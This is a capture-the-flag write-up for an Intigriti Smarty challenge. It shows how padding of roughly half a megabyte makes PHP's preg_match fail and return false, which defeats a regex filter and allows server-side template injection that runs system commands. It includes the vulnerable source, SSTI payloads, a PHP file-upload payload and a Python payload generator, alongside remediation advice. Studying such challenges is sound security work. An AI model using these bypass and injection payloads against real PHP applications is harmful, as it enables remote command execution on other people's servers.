Intigriti December CTF Challenge: Smarty Pants

I decided to dust off my hacking hat and delve back into CTF challenges with the Intigriti December challenge. Here's my write-up on the journey I had with this interesting puzzle, teaching me new tricks and reinforcing old skills.

Smart Pants AI Generated Image

Challenge 1223 by Protag is based on a previous challenge from the Intigriti CTF featuring a simple PHP web app using Smarty templating with a regex filter for protection. This challenge could be solved by using a newline char to bypass the regex filter and perform server-side template injection (SSTI) in the Smarty template ({system('cat /flag.txt')}).

The Challenge

This challenge is identical to the previous challenge but with one simple addition to the regex. Now there is a s appended to the regex, and this changes everything. This now means that the . char will greedily match any chars including line breaks. So now we know it's probably not solved using a \n.

The application helpfully displays it's source code so you can see how neat and simple it is. You could be tricked into thinking it will be easy to spot the issue, but it was quite challenging!

<?php
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    die();
}

require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');

$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s';

if(!isset($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->display('index.tpl');
    exit();
}

// returns true if data is malicious
function check_data($data){
    global $pattern;
    return preg_match($pattern,$data);
}

if(check_data($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->assign('error', 'Malicious Inputs Detected');
    $smarty->display('index.tpl');
    exit();
}

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

Note that the full source with docker files can be downloaded from the Intigriti CTF page, just remember to add the s into the regex before running it.

Failed attempts

Despite knowing the newline character likely wasn't the key, I tried various approaches to bypass the {+.*} pattern matching Smarty template injection, including:

  • Exploring different line breaks and unusual characters.
  • Encoded, double encoded, Unicode chars for { and }, to see if they were decoded or normalized into their ASCII equivalents on file write. They weren't and researching into fwrite showed that it doesn't seem to do anything too wierd.
  • Attempting to overload preg_match by making data large. E.g. {AAA...AAA} with 1Mb of A's. Much more the 1Mb will trigger an apache error with entity too large, so we are somewhat limited here. Note that this idea wasn't far off the correct solution but I didn't know that at the time.
  • Finding something that would be executed during the smarty compilation phase before crashing with a syntax error of not finding the matching close braces }
  • Investigating if there were any Smarty templates that didn't use curly braces. Spoiler: there aren't any!"

It turns out that {+.*} combined with the s modifier is annoyingly good at catching any curley braces we can use to execute smarty templating. We're going to have to find a different route...

Side note: Secure File Deletion

While rabbit holing on another failed attempt I stumbled upon something I found interesting:

Deliberately crashing the smarty compiler so that the unlink statement was never executed would resulted in the uploaded file persisting. This gives us the ability to upload and persist arbitrary files in the template directory. When crashing the PHP web app helpfully discloses the absolute filename of the template too.

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

The following payload would be a valid PHP script that could execute system commands but also something that would crash the smarty compile due to the missing }.

<?php
system('id');
// {

This gives us ability to upload malicious PHP code, but unfortunately there is no local file inclusion (LFI) that we can use to leverage this, so this was a dead-end for exploitation. We also cannot upload any templates with smarty templating inside still because of the missing }.

However, it is somewhat interesting from an AppSec perspective. This deletion should happen regardless of if a crash occurs, otherwise it's a vulnerability just waiting to be chained with another. It's also a potential denial-of-service (DOS) avenue for someone to fill up our disk space. This can be easily solved using a try/finally block like so:

try {
    // Logic for file creation and writing
} finally {
    // This will execute even if a fatal error occurs in the try block
    unlink($tmpfname);
}

The Vulnerability

Before showing the working exploit lets dive into where the vulnerability is. Previous experiences have taught us that looking at the PHP docs can be extremely enlightening when trying to find vulnerabilities. Reading the PHP docs for preg_match reveals something quite interesting:

PHP Docs for preg_match showing possible return types

Currently the function and if statement are working correctly as preg_match has only returned the expected 1 or 0 to determine if there was a match. However, this documentation states that if we can cause preg_match to fail somehow we can get it to return a third value of false. Big shoutout to PHP for it's consistently inconsistent return types...

if(check_data($_POST['data'])){
  // Error if hacking detected
}

// Win

Due to the way it's written this if statement will trigger if the function returns anything truthy (1, true, non empty string, etc) and not if it returns anything falsy (0, false, empty string). So we can probably exploit this to bypass the regex check, we just need to figure out how to crash this regex function!

In exploring ways to crash the regex function, I delved into the concept of backtracking in regular expressions. Backtracking happens when a regex engine revisits previous parts of the input string to find different ways to match the pattern. In this scenario, the goal was to make the regex pattern so computationally expensive that it fails. By crafting a pattern that forces the regex engine to backtrack extensively, we can overwhelm it.

The trick lies in creating a string that partially matches the pattern but eventually fails, leading the engine down a rabbit hole of possible combinations. This is achieved by repeating a specific sequence of characters, like 'a', to a large extent – in this case I used 1 Mb. When the regex engine tries to match this long string against our complex pattern, it gets caught in an exponential explosion of possibilities, consuming significant resources and time. This heavy computational load eventually causes the function to fail, returning false instead of the usual 1 or 0. So by leveraging the intricacies of regex backtracking, we're able to craft an input that bypasses the regex check by sheer computational exhaustion.

Obviously testing against a remote server is tedious, as we have the source we can construct a tiny bit of code to experiment with locally. Here's what I did:

<?php

$data = "onmouseover" . str_repeat("a", 1048576) . "<'{system('ls')}";

$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s';

function check_data($data){
    global $pattern;
    return preg_match($pattern,$data);
}

print(check_data($data)."\n");

if(check_data($data)){
  echo "Malicious Inputs Detected\n";
  exit();
}

echo "Hacked";

We can then test this against our locally running server, and the Intigriti challenge server to confirm that our payload works.

onmouseover<AAA...AAA{system('cat /flag.txt')}
Truncated payload showing the template injection. Note there are 1Mb of 'A's
Payload executing and printing the flag

Our payload has executed and run our arbitary commands to print the content of the flag.txt file: INTIGRITI{7h3_fl46_l457_71m3_w45_50_1r0n1c!}

Payload Optimization

The challenge is now solved, but can we stop there? No! For some reason I have to satisfy the itch to determine how small we can make the payload.

So we know the mouseover part in the payload isn't really required, that was just to illustrate what kind of thing the regex would typically be trying to find. It also turns out is the < is not required either, I originally figured that matching more of the regex's conditions would help cause more backtracking and aid us with our quest.

Experimenting with the number of padding chars showed that approx 0.5 Mb is needed to trigger the vulnerability. Here's a small Python script to generate a suitable payload:

cmd="cat /flag.txt"
padding=524288
template='{system(\''+cmd+'\')}'
print('on'+'A'*padding+template)
Python script to generate the payload

Summary

This was a challenging and fun CTF, so kudos to protag for both creating it and finding such an interesting vulnerability.

It wasn't just a great brain-teaser; it serves as a good reminder of the importance of consistent design in programming languages like PHP. It underscores how even small inconsistencies can lead to significant security vulnerabilities.